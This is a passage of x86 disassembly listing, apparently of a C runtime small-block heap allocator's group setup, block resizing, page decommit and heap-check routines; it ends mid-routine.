loc_41CC19: ; CODE XREF: sub_41CB60+AFj
mov eax, [ebp+var_10]
add eax, 7000h
mov [ebp+var_1C], eax
mov ecx, [ebp+var_10]
mov [ebp+var_4], ecx
jmp short loc_41CC38
; ---------------------------------------------------------------------------
loc_41CC2C: ; CODE XREF: sub_41CB60+13Bj
mov edx, [ebp+var_4]
add edx, 1000h
mov [ebp+var_4], edx
loc_41CC38: ; CODE XREF: sub_41CB60+CAj
mov eax, [ebp+var_4]
cmp eax, [ebp+var_1C]
ja short loc_41CC9D
mov ecx, [ebp+var_4]
mov dword ptr [ecx+8], 0FFFFFFFFh
mov edx, [ebp+var_4]
mov dword ptr [edx+0FFCh], 0FFFFFFFFh
mov eax, [ebp+var_4]
add eax, 0Ch
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov dword ptr [ecx], 0FF0h
mov edx, [ebp+var_18]
add edx, 1000h
mov eax, [ebp+var_18]
mov [eax+4], edx
mov ecx, [ebp+var_18]
sub ecx, 1000h
mov edx, [ebp+var_18]
mov [edx+8], ecx
mov eax, [ebp+var_18]
add eax, 0FECh
mov [ebp+var_24], eax
mov ecx, [ebp+var_24]
mov dword ptr [ecx], 0FF0h
jmp short loc_41CC2C
; ---------------------------------------------------------------------------
loc_41CC9D: ; CODE XREF: sub_41CB60+DEj
mov edx, [ebp+var_C]
add edx, 1F8h
mov [ebp+var_14], edx
mov eax, [ebp+var_10]
add eax, 0Ch
mov ecx, [ebp+var_14]
mov [ecx+4], eax
mov edx, [ebp+var_14]
mov eax, [edx+4]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_14]
mov [ecx+8], edx
mov eax, [ebp+var_1C]
add eax, 0Ch
mov ecx, [ebp+var_14]
mov [ecx+8], eax
mov edx, [ebp+var_14]
mov eax, [edx+8]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_14]
mov [ecx+4], edx
mov eax, [ebp+var_28]
mov ecx, [ebp+var_2C]
mov dword ptr [ecx+eax*4+44h], 0
mov edx, [ebp+var_28]
mov eax, [ebp+var_2C]
mov dword ptr [eax+edx*4+0C4h], 1
mov ecx, [ebp+var_2C]
movsx edx, byte ptr [ecx+43h]
mov eax, [ebp+var_2C]
mov cl, [eax+43h]
add cl, 1
mov eax, [ebp+var_2C]
mov [eax+43h], cl
test edx, edx
jnz short loc_41CD2D
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
or edx, 1
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_41CD2D: ; CODE XREF: sub_41CB60+1BCj
mov edx, 80000000h
mov ecx, [ebp+var_28]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+var_28]
loc_41CD4A: ; CODE XREF: sub_41CB60+B4j
mov esp, ebp
pop ebp
retn
sub_41CB60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CD50 proc near ; CODE XREF: sub_41B960+50p
; sub_41BA10+81p
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 30h
mov eax, [ebp+arg_8]
add eax, 17h
and al, 0F0h
mov [ebp+var_1C], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+10h]
mov [ebp+var_30], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
sub ecx, [eax+0Ch]
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
shr edx, 0Fh
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
imul eax, 204h
mov ecx, [ebp+var_30]
lea edx, [ecx+eax+144h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
sub eax, 4
mov [ebp+var_14], eax
mov ecx, [ebp+var_14]
mov edx, [ecx]
sub edx, 1
mov [ebp+var_28], edx
mov eax, [ebp+var_14]
add eax, [ebp+var_28]
mov [ebp+var_2C], eax
mov ecx, [ebp+var_2C]
mov edx, [ecx]
mov [ebp+var_10], edx
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_28]
jle loc_41D076
mov ecx, [ebp+var_10]
and ecx, 1
test ecx, ecx
jnz short loc_41CDDB
mov edx, [ebp+var_28]
add edx, [ebp+var_10]
cmp [ebp+var_1C], edx
jle short loc_41CDE2
loc_41CDDB: ; CODE XREF: sub_41CD50+7Ej
xor eax, eax
jmp loc_41D337
; ---------------------------------------------------------------------------
loc_41CDE2: ; CODE XREF: sub_41CD50+89j
mov eax, [ebp+var_10]
sar eax, 4
sub eax, 1
mov [ebp+var_20], eax
cmp [ebp+var_20], 3Fh
jbe short loc_41CDFB
mov [ebp+var_20], 3Fh
loc_41CDFB: ; CODE XREF: sub_41CD50+A2j
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_2C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_41CEDD
cmp [ebp+var_20], 20h
jnb short loc_41CE72
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+44h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+44h], eax
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_20]
mov [edx+4], cl
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_41CE70
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_41CE70: ; CODE XREF: sub_41CD50+106j
jmp short loc_41CEDD
; ---------------------------------------------------------------------------
loc_41CE72: ; CODE XREF: sub_41CD50+C1j
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+0C4h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+0C4h], ecx
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], dl
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_41CEDD
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_41CEDD: ; CODE XREF: sub_41CD50+B7j
; sub_41CD50:loc_41CE70j ...
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov eax, [ebp+var_2C]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_2C]
mov eax, [edx+4]
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov [eax+8], edx
mov eax, [ebp+var_28]
add eax, [ebp+var_10]
sub eax, [ebp+var_1C]
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jle loc_41D057
mov ecx, [ebp+var_14]
add ecx, [ebp+var_1C]
mov [ebp+var_2C], ecx
mov edx, [ebp+var_10]
sar edx, 4
sub edx, 1
mov [ebp+var_20], edx
cmp [ebp+var_20], 3Fh
jbe short loc_41CF33
mov [ebp+var_20], 3Fh
loc_41CF33: ; CODE XREF: sub_41CD50+1DAj
mov eax, [ebp+var_20]
mov ecx, [ebp+var_8]
lea edx, [ecx+eax*8]
mov [ebp+var_18], edx
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_18]
mov edx, [ecx+4]
mov [eax+4], edx
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_18]
mov [eax+8], ecx
mov edx, [ebp+var_18]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+var_2C]
mov edx, [ecx+4]
mov eax, [ebp+var_2C]
mov [edx+8], eax
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_2C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_41D043
cmp [ebp+var_20], 20h
jnb short loc_41CFDC
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], cl
test edx, edx
jnz short loc_41CFBA
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_41CFBA: ; CODE XREF: sub_41CD50+252j
mov eax, 80000000h
mov ecx, [ebp+var_20]
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+44h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+44h], ecx
jmp short loc_41D043
; ---------------------------------------------------------------------------
loc_41CFDC: ; CODE XREF: sub_41CD50+22Fj
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], cl
test edx, edx
jnz short loc_41D01A
mov ecx, [ebp+var_20]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx+4], ecx
loc_41D01A: ; CODE XREF: sub_41CD50+2ADj
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+0C4h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+0C4h], ecx
loc_41D043: ; CODE XREF: sub_41CD50+225j
; sub_41CD50+28Aj
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_10]
mov [ecx], edx
mov eax, [ebp+var_2C]
add eax, [ebp+var_10]
mov ecx, [ebp+var_10]
mov [eax-4], ecx
loc_41D057: ; CODE XREF: sub_41CD50+1BBj
mov edx, [ebp+var_1C]
add edx, 1
mov eax, [ebp+var_14]
mov [eax], edx
mov ecx, [ebp+var_1C]
add ecx, 1
mov edx, [ebp+var_14]
add edx, [ebp+var_1C]
mov [edx-4], ecx
jmp loc_41D332
; ---------------------------------------------------------------------------
loc_41D076: ; CODE XREF: sub_41CD50+70j
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_28]
jge loc_41D332
mov ecx, [ebp+var_1C]
add ecx, 1
mov edx, [ebp+var_14]
mov [edx], ecx
mov eax, [ebp+var_1C]
add eax, 1
mov ecx, [ebp+var_14]
add ecx, [ebp+var_1C]
mov [ecx-4], eax
mov edx, [ebp+var_14]
add edx, [ebp+var_1C]
mov [ebp+var_14], edx
mov eax, [ebp+var_28]
sub eax, [ebp+var_1C]
mov [ebp+var_28], eax
mov ecx, [ebp+var_28]
sar ecx, 4
sub ecx, 1
mov [ebp+var_24], ecx
cmp [ebp+var_24], 3Fh
jbe short loc_41D0C7
mov [ebp+var_24], 3Fh
loc_41D0C7: ; CODE XREF: sub_41CD50+36Ej
mov edx, [ebp+var_10]
and edx, 1
test edx, edx
jnz loc_41D210
mov eax, [ebp+var_10]
sar eax, 4
sub eax, 1
mov [ebp+var_20], eax
cmp [ebp+var_20], 3Fh
jbe short loc_41D0EE
mov [ebp+var_20], 3Fh
loc_41D0EE: ; CODE XREF: sub_41CD50+395j
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_2C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_41D1D0
cmp [ebp+var_20], 20h
jnb short loc_41D165
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+44h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+44h], eax
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_20]
mov [edx+4], cl
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_41D163
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_41D163: ; CODE XREF: sub_41CD50+3F9j
jmp short loc_41D1D0
; ---------------------------------------------------------------------------
loc_41D165: ; CODE XREF: sub_41CD50+3B4j
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+0C4h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+0C4h], ecx
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], dl
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_41D1D0
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_41D1D0: ; CODE XREF: sub_41CD50+3AAj
; sub_41CD50:loc_41D163j ...
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov eax, [ebp+var_2C]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_2C]
mov eax, [edx+4]
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov [eax+8], edx
mov eax, [ebp+var_28]
add eax, [ebp+var_10]
mov [ebp+var_28], eax
mov ecx, [ebp+var_28]
sar ecx, 4
sub ecx, 1
mov [ebp+var_24], ecx
cmp [ebp+var_24], 3Fh
jbe short loc_41D210
mov [ebp+var_24], 3Fh
loc_41D210: ; CODE XREF: sub_41CD50+37Fj
; sub_41CD50+4B7j
mov edx, [ebp+var_24]
mov eax, [ebp+var_8]
lea ecx, [eax+edx*8]
mov [ebp+var_18], ecx
mov edx, [ebp+var_14]
mov eax, [ebp+var_18]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_14]
mov eax, [ebp+var_18]
mov [edx+8], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_14]
mov [ecx+4], edx
mov eax, [ebp+var_14]
mov ecx, [eax+4]
mov edx, [ebp+var_14]
mov [ecx+8], edx
mov eax, [ebp+var_14]
mov ecx, [ebp+var_14]
mov edx, [eax+4]
cmp edx, [ecx+8]
jnz loc_41D31E
cmp [ebp+var_24], 20h
jnb short loc_41D2B8
mov eax, [ebp+var_30]
add eax, [ebp+var_24]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov [edx+4], al
test ecx, ecx
jnz short loc_41D296
mov eax, 80000000h
mov ecx, [ebp+var_24]
shr eax, cl
mov ecx, [ebp+arg_0]
mov edx, [ecx]
or edx, eax
mov eax, [ebp+arg_0]
mov [eax], edx
loc_41D296: ; CODE XREF: sub_41CD50+52Ej
mov edx, 80000000h
mov ecx, [ebp+var_24]
shr edx, cl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+44h]
or eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+44h], eax
jmp short loc_41D31E
; ---------------------------------------------------------------------------
loc_41D2B8: ; CODE XREF: sub_41CD50+50Cj
mov eax, [ebp+var_30]
add eax, [ebp+var_24]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov [edx+4], al
test ecx, ecx
jnz short loc_41D2F5
mov ecx, [ebp+var_24]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
or edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_41D2F5: ; CODE XREF: sub_41CD50+588j
mov ecx, [ebp+var_24]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+0C4h]
or eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+0C4h], eax
loc_41D31E: ; CODE XREF: sub_41CD50+502j
; sub_41CD50+566j
mov eax, [ebp+var_14]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov edx, [ebp+var_14]
add edx, [ebp+var_28]
mov eax, [ebp+var_28]
mov [edx-4], eax
loc_41D332: ; CODE XREF: sub_41CD50+321j
; sub_41CD50+32Cj
mov eax, 1
loc_41D337: ; CODE XREF: sub_41CD50+8Dj
mov esp, ebp
pop ebp
retn
sub_41CD50 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_4DB794, 0
jz loc_41D46C
mov eax, dword_4DB78C
shl eax, 0Fh
mov ecx, dword_4DB794
mov edx, [ecx+0Ch]
add edx, eax
mov [ebp-4], edx
push 4000h
push 8000h
mov eax, [ebp-4]
push eax
nop
call near ptr 2890603h
mov edx, 80000000h
mov ecx, dword_4DB78C
shr edx, cl
mov eax, dword_4DB794
mov ecx, [eax+8]
or ecx, edx
mov edx, dword_4DB794
mov [edx+8], ecx
mov eax, dword_4DB794
mov ecx, [eax+10h]
mov edx, dword_4DB78C
mov dword ptr [ecx+edx*4+0C4h], 0
mov eax, dword_4DB794
mov ecx, [eax+10h]
mov dl, [ecx+43h]
sub dl, 1
mov eax, dword_4DB794
mov ecx, [eax+10h]
mov [ecx+43h], dl
mov edx, dword_4DB794
mov eax, [edx+10h]
movsx ecx, byte ptr [eax+43h]
test ecx, ecx
jnz short loc_41D3F2
mov edx, dword_4DB794
mov eax, [edx+4]
and al, 0FEh
mov ecx, dword_4DB794
mov [ecx+4], eax
loc_41D3F2: ; CODE XREF: ___:0041D3DCj
mov edx, dword_4DB794
cmp dword ptr [edx+8], 0FFFFFFFFh
jnz short loc_41D462
cmp dword_4DB798, 1
jle short loc_41D462
mov eax, dword_4DB794
mov ecx, [eax+10h]
push ecx
push 0
mov edx, dword_4DB7A0
push edx
nop
call near ptr 28820CAh
mov eax, dword_4DB798
imul eax, 14h
mov ecx, dword_4DB79C
add ecx, eax
mov edx, dword_4DB794
add edx, 14h
sub ecx, edx
push ecx
mov eax, dword_4DB794
add eax, 14h
push eax
mov ecx, dword_4DB794
push ecx
call sub_4197C0
add esp, 0Ch
mov edx, dword_4DB798
sub edx, 1
mov dword_4DB798, edx
loc_41D462: ; CODE XREF: ___:0041D3FCj
; ___:0041D405j
mov dword_4DB794, 0
loc_41D46C: ; CODE XREF: ___:0041D34Bj
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D470 proc near ; CODE XREF: sub_41BC70+15p
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_160 = dword ptr -160h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_154 = dword ptr -154h
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_144 = dword ptr -144h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 168h
mov eax, dword_4DB798
imul eax, 14h
push eax
mov ecx, dword_4DB79C
push ecx
nop
call near ptr 28215EBh
test eax, eax
jz short loc_41D49B
or eax, 0FFFFFFFFh
jmp loc_41DA89
; ---------------------------------------------------------------------------
loc_41D49B: ; CODE XREF: sub_41D470+21j
mov edx, dword_4DB79C
mov [ebp+var_13C], edx
mov [ebp+var_120], 0
jmp short loc_41D4C2
; ---------------------------------------------------------------------------
loc_41D4B3: ; CODE XREF: sub_41D470+612j
mov eax, [ebp+var_120]
add eax, 1
mov [ebp+var_120], eax
loc_41D4C2: ; CODE XREF: sub_41D470+41j
mov ecx, [ebp+var_120]
cmp ecx, dword_4DB798
jge loc_41DA87
mov edx, [ebp+var_13C]
mov eax, [edx+10h]
mov [ebp+var_160], eax
push 41C4h
mov ecx, [ebp+var_160]
push ecx
call near ptr 28215EBh
nop
test eax, eax
jz short loc_41D503
mov eax, 0FFFFFFFEh
jmp loc_41DA89
; ---------------------------------------------------------------------------
loc_41D503: ; CODE XREF: sub_41D470+87j
mov edx, [ebp+var_13C]
mov eax, [edx+0Ch]
mov [ebp+var_128], eax
mov ecx, [ebp+var_160]
add ecx, 144h
mov [ebp+var_18], ecx
mov edx, [ebp+var_13C]
mov eax, [edx+8]
mov [ebp+var_4], eax
mov [ebp+var_144], 0
mov [ebp+var_158], 0
mov [ebp+var_C], 0
jmp short loc_41D553
; ---------------------------------------------------------------------------
loc_41D54A: ; CODE XREF: sub_41D470+5D6j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_41D553: ; CODE XREF: sub_41D470+D8j
cmp [ebp+var_C], 20h
jge loc_41DA4B
mov [ebp+var_11C], 0
mov [ebp+var_150], 0
mov [ebp+var_12C], 0
mov [ebp+var_14C], 0
jmp short loc_41D596
; ---------------------------------------------------------------------------
loc_41D587: ; CODE XREF: sub_41D470+140j
mov edx, [ebp+var_14C]
add edx, 1
mov [ebp+var_14C], edx
loc_41D596: ; CODE XREF: sub_41D470+115j
cmp [ebp+var_14C], 40h
jge short loc_41D5B2
mov eax, [ebp+var_14C]
mov [ebp+eax*4+var_118], 0
jmp short loc_41D587
; ---------------------------------------------------------------------------
loc_41D5B2: ; CODE XREF: sub_41D470+12Dj
cmp [ebp+var_4], 0
jl loc_41D9ED
push 8000h
mov ecx, [ebp+var_128]
push ecx
nop
call near ptr 28215EBh
test eax, eax
jz short loc_41D5DC
mov eax, 0FFFFFFFCh
jmp loc_41DA89
; ---------------------------------------------------------------------------
loc_41D5DC: ; CODE XREF: sub_41D470+160j
mov edx, [ebp+var_128]
mov [ebp+var_8], edx
mov [ebp+var_140], 0
jmp short loc_41D600
; ---------------------------------------------------------------------------
loc_41D5F1: ; CODE XREF: sub_41D470+30Fj
mov eax, [ebp+var_140]
add eax, 1
mov [ebp+var_140], eax
loc_41D600: ; CODE XREF: sub_41D470+17Fj
cmp [ebp+var_140], 8
jge loc_41D784
mov ecx, [ebp+var_8]
add ecx, 0Ch
mov [ebp+var_130], ecx
mov edx, [ebp+var_130]
add edx, 0FF0h
mov [ebp+var_138], edx
mov eax, [ebp+var_130]
cmp dword ptr [eax-4], 0FFFFFFFFh
jnz short loc_41D642
mov ecx, [ebp+var_138]
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41D64C
loc_41D642: ; CODE XREF: sub_41D470+1C5j
mov eax, 0FFFFFFFBh
jmp loc_41DA89
; ---------------------------------------------------------------------------
loc_41D64C: ; CODE XREF: sub_41D470+1D0j
; sub_41D470+2E6j
mov edx, [ebp+var_130]
mov eax, [edx]
mov [ebp+var_148], eax
mov ecx, [ebp+var_148]
mov [ebp+var_154], ecx
mov edx, [ebp+var_154]
and edx, 1
test edx, edx
jz short loc_41D6A9
mov eax, [ebp+var_148]
sub eax, 1
mov [ebp+var_148], eax
cmp [ebp+var_148], 400h
jle short loc_41D698
mov eax, 0FFFFFFFAh
jmp loc_41DA89
; ---------------------------------------------------------------------------
loc_41D698: ; CODE XREF: sub_41D470+21Cj
mov ecx, [ebp+var_12C]
add ecx, 1
mov [ebp+var_12C], ecx
jmp short loc_41D6EB
; ---------------------------------------------------------------------------
loc_41D6A9: ; CODE XREF: sub_41D470+201j
mov edx, [ebp+var_148]
sar edx, 4
sub edx, 1
mov [ebp+var_14C], edx
cmp [ebp+var_14C], 3Fh
jle short loc_41D6CE
mov [ebp+var_14C], 3Fh
loc_41D6CE: ; CODE XREF: sub_41D470+252j
mov eax, [ebp+var_14C]
mov ecx, [ebp+eax*4+var_118]
add ecx, 1
mov edx, [ebp+var_14C]
mov [ebp+edx*4+var_118], ecx
loc_41D6EB: ; CODE XREF: sub_41D470+237j
cmp [ebp+var_148], 10h
jl short loc_41D70D
mov eax, [ebp+var_148]
and eax, 0Fh
test eax, eax
jnz short loc_41D70D
cmp [ebp+var_148], 0FF0h
jle short loc_41D717
loc_41D70D: ; CODE XREF: sub_41D470+282j
; sub_41D470+28Fj
mov eax, 0FFFFFFF9h
jmp loc_41DA89
; ---------------------------------------------------------------------------
loc_41D717: ; CODE XREF: sub_41D470+29Bj
mov ecx, [ebp+var_130]
add ecx, [ebp+var_148]
mov edx, [ecx-4]
cmp edx, [ebp+var_154]
jz short loc_41D738
mov eax, 0FFFFFFF8h
jmp loc_41DA89
; ---------------------------------------------------------------------------
loc_41D738: ; CODE XREF: sub_41D470+2BCj
mov eax, [ebp+var_130]
add eax, [ebp+var_148]
mov [ebp+var_130], eax
mov ecx, [ebp+var_130]
cmp ecx, [ebp+var_138]
jb loc_41D64C
mov edx, [ebp+var_130]
cmp edx, [ebp+var_138]
jz short loc_41D774
mov eax, 0FFFFFFF8h
jmp loc_41DA89
; ---------------------------------------------------------------------------
loc_41D774: ; CODE XREF: sub_41D470+2F8j
mov eax, [ebp+var_8]
add eax, 1000h
mov [ebp+var_8], eax
jmp loc_41D5F1
; ---------------------------------------------------------------------------
loc_41D784: ; CODE XREF: sub_41D470+197j
mov ecx, [ebp+var_18]
mov edx, [ecx]
cmp edx, [ebp+var_12C]
jz short loc_41D79B
mov eax, 0FFFFFFF7h
jmp loc_41DA89
; ---------------------------------------------------------------------------
loc_41D79B: ; CODE XREF: sub_41D470+31Fj
mov eax, [ebp+var_18]
mov [ebp+var_134], eax
mov [ebp+var_14], 0
jmp short loc_41D7B6
; ---------------------------------------------------------------------------
loc_41D7AD: ; CODE XREF: sub_41D470+578j
mov ecx, [ebp+var_14]
add ecx, 1
mov [ebp+var_14], ecx
loc_41D7B6: ; CODE XREF: sub_41D470+33Bj
cmp [ebp+var_14], 40h
jge loc_41D9ED
mov [ebp+var_168], 0
mov edx, [ebp+var_134]
mov [ebp+var_130], edx
loc_41D7D6: ; CODE XREF: sub_41D470+4A5j
mov eax, [ebp+var_130]
mov ecx, [eax+4]
mov [ebp+var_15C], ecx
mov edx, [ebp+var_15C]
cmp edx, [ebp+var_134]
jz loc_41D91A
mov eax, [ebp+var_14]
mov ecx, [ebp+var_168]
cmp ecx, [ebp+eax*4+var_118]
jz loc_41D91A
mov edx, [ebp+var_15C]
cmp edx, [ebp+var_128]
jb short loc_41D82E
mov eax, [ebp+var_128]
add eax, 8000h
cmp [ebp+var_15C], eax
jb short loc_41D838
loc_41D82E: ; CODE XREF: sub_41D470+3A9j
mov eax, 0FFFFFFF6h
jmp loc_41DA89
; ---------------------------------------------------------------------------
loc_41D838: ; CODE XREF: sub_41D470+3BCj
mov ecx, [ebp+var_15C]
and ecx, 0FFFFF000h
mov [ebp+var_164], ecx
mov edx, [ebp+var_164]
add edx, 0Ch
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
add eax, 0FF0h
mov [ebp+var_124], eax
loc_41D864: ; CODE XREF: sub_41D470+41Cj
mov ecx, [ebp+var_10]
cmp ecx, [ebp+var_124]
jz short loc_41D88E
mov edx, [ebp+var_10]
cmp edx, [ebp+var_15C]
jnz short loc_41D87C
jmp short loc_41D88E
; ---------------------------------------------------------------------------
loc_41D87C: ; CODE XREF: sub_41D470+408j
mov eax, [ebp+var_10]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
mov edx, [ebp+var_10]
add edx, ecx
mov [ebp+var_10], edx
jmp short loc_41D864
; ---------------------------------------------------------------------------
loc_41D88E: ; CODE XREF: sub_41D470+3FDj
; sub_41D470+40Aj
mov eax, [ebp+var_10]
cmp eax, [ebp+var_124]
jnz short loc_41D8A3
mov eax, 0FFFFFFF5h
jmp loc_41DA89
; ---------------------------------------------------------------------------
loc_41D8A3: ; CODE XREF: sub_41D470+427j
mov ecx, [ebp+var_15C]
mov edx, [ecx]
sar edx, 4
sub edx, 1
